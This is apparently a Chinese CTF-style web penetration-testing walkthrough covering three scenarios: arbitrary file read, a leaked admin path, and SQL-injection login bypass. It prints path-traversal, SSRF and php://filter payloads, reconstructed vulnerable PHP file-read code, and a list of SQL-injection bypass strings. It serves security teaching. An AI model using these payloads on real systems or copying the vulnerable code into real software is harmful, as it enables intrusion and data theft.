渗透测试基础——黑盒测试下的Web漏洞挖掘与利用解析(一)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录


前置知识

今天给大家写的是一篇"黑盒测试"的文章,下面简单了解一下什么是黑盒测试;

什么是黑盒测试?

黑盒测试(Black-box Testing),又称功能测试或数据驱动测试,是一种只关注系统外部表现而不考虑内部逻辑结构的测试方法。在测试人员眼中,被测系统就像一个完全不透明的"黑盒",其内部的代码实现、运行逻辑和架构都是隐藏的。

核心运作逻辑

黑盒测试的核心在于验证"输入"与"输出"的关系。测试者只需向系统提供特定的输入数据,并观察其输出结果是否符合产品需求或安全预期。

举个实际的例子:

假设你在测试一个Web应用的登录界面(或者对其进行渗透测试),你不需要去看后端是用 PHP 还是 Python 写的,也不需要审查底层的数据库查询逻辑。你只需要尝试输入正常的账号密码,看看能否成功登录;或者尝试输入一些特殊的闭合字符(如常见的 SQL 注入负载),观察系统是否会抛出异常或被成功绕过。只要结果符合预期,这个功能的"黑盒"测试就通过了。

优缺点概览

  • 优势:完全贴近真实用户的操作视角,能最直观地验证功能有效性;对测试人员的代码能力要求较低,能够快速开展。
  • 局限:无法深入发现代码深层架构中的隐藏Bug或逻辑缺陷;且测试用例难以穷尽所有的输入组合,覆盖率有限。

话不多说,我们直接开始;

情景一:任意文件读取

这里我们进入网站,得到如下页面:

看到是一个普通的博客页面,随便点点,看看有没有什么可利用的功能点:

这里我们跳转到 /page_1.php页面,再点击其他页面,发现改变的只有 /page_1.php 参数:

/page_2.php,经过测试,共有4个页面:

分别查看这几个页面的源代码,并没有发现什么有用的信息;

所以这里改变思路,发现了该网站是由Layui 2.5.7框架搭建:

还是没有什么收获;

Web目录枚举

随后尝试Web目录枚举:

尝试访问,均访问失败:

不过我们可以发现打开$id.php失败,这里我们有几种以下猜测:

bash 复制代码
- 是否存在id.php这个页面
- 能否控制id参数

很显然,这里我们只能尝试第二个选择:


漏洞利用

构造以下payload:/page.php?id=1

从报错我们可以分析出:目标系统大概率存在任意文件读取(Arbitrary File Read)漏洞,甚至可能衍生出服务器端请求伪造(SSRF)

报错信息分析

  • file_get_contents(...):PHP 中用于将整个文件(或 URL 响应)读入一个字符串的函数。这是漏洞发生的核心载体。
  • 4.php :这是函数当前尝试读取的目标文件。通常,这个值是由用户通过 GET/POST 参数(例如 ?file=4?page=4.php)传入的,说明用户的输入未经过滤直接进入了文件读取函数
  • failed to open stream: No such file or directory :文件不存在。这说明攻击者(或测试者)传入的 4.php 在当前执行路径下找不到,从而触发了 Warning 并暴露了绝对路径。
  • in /var/www/html/page.php on line 20 :直接暴露了服务器的物理绝对路径(典型的 Linux + Apache/Nginx Web 目录),以及漏洞代码所在的具体文件 (page.php) 和具体行数 (20行)。这种信息泄露会为后续的攻击提供极大的便利。

还原潜在的漏洞代码

根据报错,page.php 的第 20 行附近,大概率存在类似以下逻辑的代码:

php 复制代码
// 情况 A:完全无过滤,直接读取用户输入
$filename = $_GET['file']; 
echo file_get_contents($filename); 

// 情况 B:开发者自作聪明拼接了后缀,用户输入了 "4"
$filename = $_GET['file'];
echo file_get_contents($filename . ".php"); 

可利用的攻击链路

如果这个输入点可控,可以产生以下几种危害极大的利用方式:

  • 路径穿越 / 任意文件读取
    利用 ../ 跳出当前目录,读取系统敏感文件。例如传入 ?file=../../../../etc/passwd,如果权限允许,可以直接读取到 Linux 的用户信息。
  • 敏感源码泄露
    可以直接读取当前目录或其他目录下的 PHP 源码。例如读取数据库配置文件(如 ?file=config.php),获取数据库账号密码,为进一步渗透(如连接数据库写 Shell)打下基础。
  • SSRF (服务器端请求伪造)
    如果服务器 PHP 配置中开启了 allow_url_fopen(默认通常是开启的),file_get_contents 是支持发起 HTTP/伪协议请求的。
    传入类似 ?file=http://192.168.1.1/admin?file=dict://内网IP:端口,就可以利用该服务器作为跳板,探测或攻击内网其他脆弱服务。
  • 配合 PHP 伪协议
    利用 php://filter/read=convert.base64-encode/resource=index.php,强制将 PHP 文件进行 Base64 编码后输出,从而绕过某些由于直接输出 PHP 代码而被浏览器解析或被 WAF 拦截的问题。

这里我们合理猜测存在第二种代码情况:(因为我们只输入了id=4,url自动填充了 .php后缀)

php 复制代码
$filename = $_GET['file'];
echo file_get_contents($filename . ".php"); 

之前我们进行Web目录扫描的时候同样扫描出来了flag.php,所以这里我们输入如下payload即可获得flag:

情景二:源码泄露后台路径

Web目录枚举

这里我们还是回到该页面,发现 "任意文件读取"漏洞已经被修复:

只有一个/page.php页面:

但没有关系,看到/page.php?id=2很容易联想到SQL注入,所以尝试以下:

这里使用"单引号闭合",发现页面变成了空白,所以猜测存在 "字符型注入"

但是经过尝试,并不存在SQL注入;

  • 浪费时间

源码泄露

所以查看一下源代码

相比于上一关的源代码,发现了一个可疑路径:alsckdfy/

所以这里访问一下,意外的得到了flag:

情景三:SQL注入登陆

Web目录枚举

还是老样子,进行一下Web目录扫描:

还是熟悉的报错:

同样的,不存在SQL注入和任意文件读取漏洞:

后台管理平台

那就查看一下源代码,访问alsckdfy/路径:

这里我们跳转到了一个后台登陆界面:

尝试抓包(如果实在没有办法,可以进行爆破)

虽然不建议爆破,但我们可以尝试SQL注入啊

SQL注入登陆

没想到随便尝试一下万能密码,直接得到了flag:

bash 复制代码
# 常见的万能密码
# 1. 经典单引号闭合 + 恒真 + 通用双短线注释(最常用,注意双短线后有一个空格)
1' or 1=1-- 

# 2. 经典单引号闭合 + 恒真 + 字符串闭合(无需注释符,完美对称)
1' or '1'='1

# 3. 经典双引号闭合 + 恒真 + 字符串闭合(针对双引号包裹的查询)
1" or "1"="1

# 4. 经典单引号闭合 + 恒真 + MySQL专用井号注释
1' or 1=1#

# 5. 经典单引号闭合 + 恒真 + 多行注释符截断
1' or 1=1/*

# 6. 单引号闭合 + 逻辑或变异(用双竖线 || 代替 or 关键字)
1' || 1=1-- 

# 7. 单引号闭合 + 字符恒等变异(用于绕过针对数字 1=1 的 WAF 规则)
1' or 'a'='a

# 8. 单引号闭合 + 隐式类型转换(在 SQL 中非零数字代表 True)
1' or 1-- 

# 9. 单括号闭合 + 恒真 + 双短线注释(针对后端 SQL 带有括号的情况)
1') or 1=1-- 

# 10. 双引号双括号闭合 + 恒真 + 双短线注释
1")) or 1=1-- 

# 11. 单括号闭合 + 恒真 + 括号对称闭合(不使用任何注释符)
1') or ('1'='1

# 12. 带有分号结束符的单引号闭合(适用于 MSSQL / PostgreSQL 多语句执行场景)
1' or 1=1;--

# 13. URL编码/浏览器环境友好型(末尾的 + 会被解析为空格,确保注释生效)
1' or 1=1--+

# 14. 指定管理员用户 + 恒真闭合(常用于直接锁定并登录 admin 账户)
admin' or '1'='1

总结

本文采用黑盒测试视角,通过三个经典渗透测试情景,深入剖析任意文件读取、源码泄露及SQL注入登录漏洞的产生机理与利用链路。文章逻辑严密、案例贴近实战,配有完整的报错分析与代码还原,是网络安全教学与防范漏洞的实用参考指南。

相关推荐
碳基硅坊1 小时前
Qwen3.5-9B在安全生产安全帽检测中的应用
人工智能·安全·安全帽检测·qwen3.5-9b
网络与设备以及操作系统学习使用者2 小时前
零信任架构落地实践详解
运维·网络·学习·架构
weixin_468466852 小时前
Prometheus监控服务部署与实战指南
服务器·后端·python·docker·自动化·prometheus
lolo大魔王2 小时前
Linux 内置命令与外部命令超详解(区别、原理、查找、执行流程)
linux·运维·服务器
H Journey2 小时前
Linux 查看进程端口占用命令整理
linux·运维·服务器
小江的记录本2 小时前
【JVM虚拟机】类加载机制:类加载全流程:加载→验证→准备→解析→初始化(附《思维导图》+《面试高频考点清单》)
java·jvm·spring boot·算法·安全·spring·面试
着迷不白2 小时前
二、Linux命令3要素及系统结构+文件的增删改查
linux·运维·服务器
zzzyyy5382 小时前
System V IPC 全链路深度解析 —— 从信号量原子性到内核多态再到物理内存共享
linux·服务器
Larcher3 小时前
JS 变量提升:代码没动,为什么执行顺序就变了?
前端·javascript·前端框架